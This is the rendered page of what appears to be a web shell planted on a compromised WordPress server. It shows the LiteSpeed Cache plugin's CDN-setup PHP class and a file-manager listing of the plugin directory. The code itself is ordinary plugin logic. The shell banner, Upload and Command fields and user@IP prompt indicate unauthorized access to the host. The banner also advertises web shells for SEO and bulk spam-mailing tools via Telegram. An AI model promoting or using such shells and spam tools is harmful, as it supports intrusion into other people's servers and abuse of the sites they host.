__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.196: ~ $
<?php

/**
 * CDN Setup service cls
 *
 * @since      3.0
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Cdn_Setup extends Base
{
	const LOG_TAG = '👷';

	const TYPE_LINK = 'link';
	const TYPE_NOLINK = 'nolink';
	const TYPE_RUN = 'setup';
	const TYPE_STATUS = 'status';
	const TYPE_RESET = 'reset';
	const TYPE_DELETE = 'delete';

	private $_setup_token;
	protected $_summary;

	/**
	 * Init
	 *
	 * @since  3.0
	 */
	public function __construct()
	{
		$this->_setup_token = $this->conf(self::O_QC_TOKEN);
		$this->_summary = self::get_summary();
	}

	/**
	 * Update is_linked status if is a redirected back from QC
	 *
	 * @since  3.0
	 */
	public function maybe_extract_token()
	{
		$token = $this->cls('Cloud')->parse_qc_redir(true);

		if ($token) {
			$this->_setup_token = esc_html($token);
			$this->cls('Conf')->update_confs(array(self::O_QC_TOKEN => $this->_setup_token));
			unset($_GET['token']);
		}
	}

	/**
	 * Callback for updating Auto CDN Setup status after run
	 *
	 * @since  4.7
	 * @access public
	 */
	public function update_cdn_status()
	{
		if (empty($_POST['hash'])) {
			self::debug('Lack of hash param');
			return self::err('lack_of_param');
		}

		if ($_POST['hash'] !== md5(substr($this->conf(self::O_API_KEY), 3, 8))) {
			self::debug('token validate failed: token mismatch hash !== ' . $_POST['hash']);
			return self::err('callback_fail_hash');
		}

		if (!isset($_POST['success']) || !isset($_POST['result'])) {
			self::save_summary(array('cdn_setup_err' => __('Received invalid message from the cloud server. Please submit a ticket.', 'litespeed-cache')));
			return self::err('lack_of_param');
		}
		if (!$_POST['success'] && !empty($_POST['result']['_msg'])) {
			$msg = wp_kses_post($_POST['result']['_msg']);
			self::save_summary(array('cdn_setup_err' => $msg));
			Admin_Display::error(__('There was an error during QUIC.cloud CDN auto setup: ', 'litespeed-cache') . $msg);
		} else {
			$this->_process_cdn_status($_POST['result']);
		}

		return self::ok();
	}

	/**
	 * Request an update on Auto CDN Setup status
	 *
	 * @since  4.7
	 * @access private
	 */
	private function _qc_refresh()
	{
		$json = $this->cls('Cloud')->req_rest_api('/user/cdn/status');

		if (!$json) {
			return;
		} elseif (is_string($json)) {
			self::save_summary(array('cdn_setup_err' => $json));
			return;
		}

		$result = array();
		if (isset($json['info']['messages'])) {
			$result['_msg'] = implode('<br>', $json['info']['messages']);
		}
		$this->_process_cdn_status($result);
	}

	/**
	 * Process the returned Auto CDN Setup status
	 *
	 * @since  4.7
	 * @access private
	 */
	private function _process_cdn_status($result)
	{
		if (isset($result['nameservers'])) {
			if (isset($this->_summary['cdn_setup_err'])) {
				unset($this->_summary['cdn_setup_err']);
			}
			if (isset($result['summary'])) {
				$this->_summary['cdn_dns_summary'] = $result['summary'];
			}
			$this->cls('Cloud')->set_linked();
			$nameservers = esc_html($result['nameservers']);
			$this->cls('Conf')->update_confs(array(self::O_QC_NAMESERVERS => $nameservers, self::O_CDN_QUIC => true));
			Admin_Display::succeed(
				'🎊 ' . __('Congratulations, QUIC.cloud successfully set this domain up for the CDN. Please update your nameservers to:', 'litespeed-cache') . $nameservers
			);
		} elseif (isset($result['cname'])) {
			if (isset($this->_summary['cdn_setup_err'])) {
				unset($this->_summary['cdn_setup_err']);
			}
			if (isset($result['summary'])) {
				$this->_summary['cdn_dns_summary'] = $result['summary'];
			}
			$this->cls('Cloud')->set_linked();
			$cname = esc_html($result['cname']);
			$this->cls('Conf')->update_confs(array(self::O_QC_CNAME => $cname, self::O_CDN_QUIC => true));
			Admin_Display::succeed('🎊 ' . __('Congratulations, QUIC.cloud successfully set this domain up for the CDN. Please update your cname to:', 'litespeed-cache') . $cname);
		} elseif (isset($result['done'])) {
			if (isset($this->_summary['cdn_setup_err'])) {
				unset($this->_summary['cdn_setup_err']);
			}
			if (isset($this->_summary['cdn_verify_msg'])) {
				unset($this->_summary['cdn_verify_msg']);
			}
			$this->_summary['cdn_setup_done_ts'] = time();

			$this->_setup_token = '';
			$this->cls('Conf')->update_confs(array(self::O_QC_TOKEN => '', self::O_QC_NAMESERVERS => ''));
		} elseif (isset($result['_msg'])) {
			$notice = esc_html($result['_msg']);
			if ($this->conf(Base::O_QC_NAMESERVERS)) {
				$this->_summary['cdn_verify_msg'] = $notice;
				$notice = array('cdn_verify_msg' => $notice);
			}
			Admin_Display::succeed($notice);
		} else {
			Admin_Display::succeed(__('CDN Setup is running.', 'litespeed-cache'));
		}
		self::save_summary();
	}

	/**
	 * Process the returned Auto CDN Setup status
	 *
	 * @since  4.7
	 * @access private
	 */
	private function _qc_reset($delete)
	{
		$data = array(
			'site_url' => home_url(),
		);

		if ($delete) {
			$data['delete'] = 1;
		}

		if (!empty($this->_setup_token)) {
			$data['rest'] = function_exists('rest_get_url_prefix') ? rest_get_url_prefix() : apply_filters('rest_url_prefix', 'wp-json');

			$json = $this->cls('Cloud')->req_rest_api('/user/cdn/reset', $data);

			if (!$json) {
				return;
			} elseif (is_string($json) && $json != 'unauthorized access to REST API.') {
				self::save_summary(array('cdn_setup_err' => $json));
				return;
			}
		} elseif (!isset($this->_summary['cdn_setup_done_ts']) || !$this->_summary['cdn_setup_done_ts']) {
			Admin_Display::info(__('Notice: CDN Setup only reset locally.', 'litespeed-cache'));
		} elseif (!Cloud::get_summary('is_linked')) {
			Admin_Display::error(__('Cannot delete, site is not linked.', 'litespeed-cache'));
			return;
		} else {
			$json = Cloud::post(Cloud::SVC_D_DEL_CDN_DNS, $data);

			if (!is_array($json)) {
				return;
			}
		}

		if (isset($this->_summary['cdn_setup_ts'])) {
			unset($this->_summary['cdn_setup_ts']);
		}
		if (isset($this->_summary['cdn_setup_done_ts'])) {
			unset($this->_summary['cdn_setup_done_ts']);
		}
		if (isset($this->_summary['cdn_setup_err'])) {
			unset($this->_summary['cdn_setup_err']);
		}
		if (isset($this->_summary['cdn_verify_msg'])) {
			unset($this->_summary['cdn_verify_msg']);
		}
		if (isset($this->_summary['cdn_dns_summary'])) {
			unset($this->_summary['cdn_dns_summary']);
		}
		self::save_summary($this->_summary, false, true);

		$this->_setup_token = '';
		$this->cls('Conf')->update_confs(array(self::O_QC_TOKEN => '', self::O_QC_NAMESERVERS => '', self::O_CDN_QUIC => false));
		$msg = '';
		if ($delete) {
			$msg = __(
				'CDN Setup Token and DNS zone deleted. Note: if my.quic.cloud account deletion is desired, that the account still exists and must be deleted separately.',
				'litespeed-cache'
			);
		} else {
			$msg = __(
				'CDN Setup Token reset. Note: if my.quic.cloud account deletion is desired, that the account still exists and must be deleted separately.',
				'litespeed-cache'
			);
		}
		Admin_Display::succeed($msg);
		return self::ok();
	}

	/**
	 * If setup token already exists or not
	 *
	 * @since  4.7
	 */
	public function has_cdn_setup_token()
	{
		return !empty($this->_setup_token);
	}

	/**
	 * Get QC user setup token
	 *
	 * This method initiates a link to a QUIC.cloud account.
	 *
	 * @since  4.7
	 */
	private function _qc_link()
	{
		if ($this->has_cdn_setup_token()) {
			return;
		}

		$data = array(
			'site_url' => home_url(),
			'ref' => get_admin_url(null, 'admin.php?page=litespeed-cdn'),
			'nonce' => wp_create_nonce('litespeed_qc_link'),
		);
		$api_key = $this->conf(self::O_API_KEY);
		if ($api_key) {
			$data['domain_hash'] = md5(substr($api_key, 0, 8));
		}
		self::debug2('qc link created', $data);
		wp_redirect(Cloud::CLOUD_SERVER_DASH . '/u/wptoken?data=' . Utility::arr2str($data));
		exit();
	}

	/**
	 * Get QC user setup token
	 *
	 * This method is used when the installation is already linked to an account.
	 *
	 * @since  4.7
	 */
	private function _qc_nolink()
	{
		if ($this->has_cdn_setup_token()) {
			return;
		}

		$data = array(
			'site_url' => home_url(),
		);

		$json = Cloud::post(Cloud::SVC_D_SETUP_TOKEN, $data);

		if (isset($json['token'])) {
			self::save_summary(array('cdn_setup_ts' => time()));
			$this->_setup_token = $json['token'];
			$this->cls('Conf')->update_confs(array(self::O_QC_TOKEN => $this->_setup_token));
		}
	}

	/**
	 * Initiate or continue a QC CDN Setup.
	 *
	 * @since  4.7
	 */
	private function _qc_run()
	{
		$data = array(
			'site_url' => home_url(),
			'rest' => function_exists('rest_get_url_prefix') ? rest_get_url_prefix() : apply_filters('rest_url_prefix', 'wp-json'),
			'server_ip' => $this->conf(self::O_SERVER_IP),
		);

		$api_key = $this->conf(self::O_API_KEY);
		if ($api_key) {
			$data['domain_hash'] = md5(substr($api_key, 0, 8));
		}

		$__cloud = $this->cls('Cloud');
		$json = $__cloud->req_rest_api('/user/cdn/', $data);

		if (!$json) {
			return;
		} elseif (is_string($json)) {
			self::save_summary(array('cdn_setup_err' => $json));
			return;
		}

		$this->_summary['cdn_setup_ts'] = time();

		$msg = '';
		if (isset($json['info']['messages'])) {
			$msg = implode('<br>', $json['info']['messages']);
		}

		$json = $json['result'];

		if (isset($this->_summary['cdn_setup_err'])) {
			unset($this->_summary['cdn_setup_err']);
		}

		if (isset($this->_summary['cdn_verify_msg'])) {
			unset($this->_summary['cdn_verify_msg']);
		}
		self::save_summary();

		// Save token option
		if (!empty($json['token'])) {
			$__cloud->set_keygen_token($json['token']);
		}

		// This is a ok msg
		if (!empty($msg)) {
			self::debug('_msg: ' . $msg);

			$msg = __('Message from QUIC.cloud server', 'litespeed-cache') . ': ' . $msg;
			Admin_Display::info($msg);
			return;
		}

		self::debug('✅ Successfully start CDN setup.');
	}

	/**
	 * Return succeeded response
	 *
	 * @since  3.0
	 */
	public static function ok($data = array())
	{
		$data['_res'] = 'ok';
		return $data;
	}

	/**
	 * Return error
	 *
	 * @since  3.0
	 */
	public static function err($code)
	{
		return array('_res' => 'err', '_msg' => $code);
	}

	/**
	 * Handle all request actions from main cls
	 *
	 * @since  3.0
	 * @access public
	 */
	public function handler()
	{
		$type = Router::verify_type();

		switch ($type) {
			case self::TYPE_LINK:
				$this->_qc_link();
				break;

			case self::TYPE_NOLINK:
				$this->_qc_nolink();
				break;

			case self::TYPE_RUN:
				$this->_qc_run();
				break;

			case self::TYPE_STATUS:
				$this->_qc_refresh();
				break;

			case self::TYPE_RESET:
				$this->_qc_reset(false);
				break;

			case self::TYPE_DELETE:
				$this->_qc_reset(true);
				break;

			default:
				break;
		}

		Admin::redirect();
	}
}

Filemanager

Name Type Size Permission Actions
cdn Folder 0755
data_structure Folder 0755
activation.cls.php File 14.99 KB 0644
admin-display.cls.php File 33.2 KB 0644
admin-settings.cls.php File 9.52 KB 0644
admin.cls.php File 4.44 KB 0644
api.cls.php File 11.08 KB 0644
avatar.cls.php File 6.06 KB 0644
base.cls.php File 30.25 KB 0644
cdn-setup.cls.php File 10.45 KB 0644
cdn.cls.php File 13.13 KB 0644
cloud.cls.php File 41.8 KB 0644
conf.cls.php File 18.58 KB 0644
control.cls.php File 21.75 KB 0644
core.cls.php File 20.05 KB 0644
crawler-map.cls.php File 14 KB 0644
crawler.cls.php File 34.63 KB 0644
css.cls.php File 13.1 KB 0644
data.cls.php File 17.41 KB 0644
data.upgrade.func.php File 21.37 KB 0644
db-optm.cls.php File 9.58 KB 0644
debug2.cls.php File 12.04 KB 0644
doc.cls.php File 4.74 KB 0644
error.cls.php File 6.91 KB 0644
esi.cls.php File 27.09 KB 0644
file.cls.php File 10.13 KB 0644
gui.cls.php File 27.45 KB 0644
health.cls.php File 2.89 KB 0644
htaccess.cls.php File 23.92 KB 0644
img-optm.cls.php File 60.24 KB 0644
import.cls.php File 4.15 KB 0644
instance.cls.php File 154 B 0644
lang.cls.php File 15.54 KB 0644
localization.cls.php File 3.38 KB 0644
media.cls.php File 31.01 KB 0644
metabox.cls.php File 4.21 KB 0644
object-cache.cls.php File 15.55 KB 0644
object.lib.php File 33.97 KB 0644
optimize.cls.php File 36.49 KB 0644
optimizer.cls.php File 9.01 KB 0644
placeholder.cls.php File 14.08 KB 0644
preset.cls.php File 5.43 KB 0644
purge.cls.php File 29.79 KB 0644
report.cls.php File 5.33 KB 0644
rest.cls.php File 7.87 KB 0644
root.cls.php File 12.6 KB 0644
router.cls.php File 19 KB 0644
str.cls.php File 1.17 KB 0644
tag.cls.php File 8.62 KB 0644
task.cls.php File 5.83 KB 0644
tool.cls.php File 3.29 KB 0644
ucss.cls.php File 14.39 KB 0644
utility.cls.php File 20.63 KB 0644
vary.cls.php File 19.17 KB 0644
vpi.cls.php File 7.41 KB 0644